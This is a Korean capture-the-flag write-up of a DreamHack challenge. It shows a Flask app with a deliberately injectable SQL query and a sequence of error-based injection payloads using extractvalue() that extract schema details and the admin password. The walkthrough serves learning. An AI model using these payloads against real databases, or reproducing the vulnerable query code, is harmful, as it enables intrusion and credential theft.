이게 왜 Simple이라는 거지
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
try:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
return template.format(uid=uid)
except Exception as e:
return str(e)
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
문제 소스코드이다.
소스코드에서는 볼 것은 딱 한 개
(f"SELECT * FROM user WHERE uid='{uid}';")
SQL 구문이다.
user 테이블의 uid 라는 칼럼이 존재한다는 것 이건 알아두자.
문제화면을 보자.
uid 에 submit 하면 그대로 받아들여 보여준다.
싱글쿼터를 쓰면 될듯싶다.
이 문제는 애초에 error를 내서 플래그를 가져가라고 했으니 일부러 error를 내보자.
maybe() 함수가 존재하지 않는다는 에러를 알려준다.
일단은 injection 이 먹히고 있다는 걸 알 수 있다.
and와 함수실행이 먹히고 있다는 것은 DB에 고정적으로 가지고 있는 함수를 쓸 수 있다는 점을 알 수 있다.
extractvalue(xml_frag, xpath_expr)
바로 extractvalue() 함수이다.
Error Based SQL Injection 대표적 공격 기법이다.
xpath_expr 인수로 원하는 SQL 쿼리를 넣었을 때 쿼리의 실행 결과가 오류 메시지에 포함된다는 방식으로 이용한다.
0' AND extractvalue(1, concat(0x3a, version()))--
이런 식으로 넣는다면 DB의 버전을 출력할 수 있다.
여기서 (1, concat(0x3 a, SQL명령어)-- 이 추가된 모습 설명을 덧붙이자면
1은 xml_frag의 역할이다. (오류 발생 부분)
concat 은 문자열을 결합시키는 데 사용되는 SQL 내부함수
0x3 a : ':'을 나타내줌 결괏값을 정확하게 보기 위해서
version() : 버전출력하라는 SQL내부함수
그럼 결과를 보면....
: 다음에 결과값을 보면 MariaDB를 쓰고 있다는 사실을 알아낼 수 있다.
일단 아는 정보는 마리아 DB , user 테이블 안에 uid 칼럼이라는 사실밖에 모른다.
어떤 Database를 쓰는지 확인해 보자.
0' AND extractvalue(1,concat(0x3a,database()))--
database()를 출력하도록 했다.
이 부분은 따로 설명할 것이 없다.
결과를 확인해 보면...
'users'라는 데이터베이스를 쓰고 있다는 걸 확인할 수 있다.
그러면 'users' 데이터베이스 안에 'user' 테이블이 있고 'uid'가 있다는 사실을 알아둔 상태이다.
0' AND extractvalue(1, concat(0x3a, (SELECT concat(0x3a, table_name) FROM information_schema.TABLES WHERE table_schema='users')))
추가된 부분은 inofrmation_schema.TABLES이다.
SQL 표준에 따라 DBMS에서 자동으로 생성되는 메타데이터 테이블이다.
메타데이터는 데이터에 대한 데이터로...
예를 들면 데이터베이스에서 테이블의 구조(열 이름, 데이터 타입)와 같은 정보를 메타데이터라고 한다.
따라서 이 명령어는 데이터베이스 'users' 안에 있는 테이블 이름에 대해 물어보는 것이다.
user 테이블 밖에 없는 거 같다.
그럼 칼럼 을 확인해 보자.
0' AND extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a, column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='users' AND TABLE_NAME='user')))--
users 데이터베이스의 user 테이블의 칼럼 이름을 물어보는 구문이다.
실행시켜 보면...
서브쿼리가 두 개 이상의 행을 반환했다는 의미이다.
그럼 열의 개수가 2개 이상이라는 이야기이다.
LIMIT을 이용해서 하나씩 조회해 보자.
0' AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='users' AND TABLE_NAME='user' LIMIT 0,1)))--
조회해 보도록 하자.
총 3개의 칼럼이 있는 걸 확인할 수 있다.
0' AND extractvalue(rand(),concat(0x3a,(SELECT concat(idx,0x3a,uid,0x3a,upw) FROM users.user LIMIT 0,1)))--
3개의 칼럼을 조회했다.
idx : 1
uid : admin
upw : flag 값
을 확인할 수 있다.
upw 가 근데 다 나오지 않고 중간에서 잘린 상태로 출력된다.
이것은 XML 내장함수(extractvalue) 같은 경우 길이가 32 길이로 제한이 존재한다.
이 문제를 해결하면
플래그를 얻을 수 있다.
글로 쓰면 술술 푼거같은데 오래 걸렸다.
'DreamHack > WEB' 카테고리의 다른 글
simple_sqli_chatgpt (0) | 2024.10.17 |
---|---|
php-1 (1) | 2024.10.16 |
XSS Filtering Bypass (0) | 2024.10.16 |
proxy-1 (0) | 2024.10.16 |
web-misconf-1 (1) | 2024.10.10 |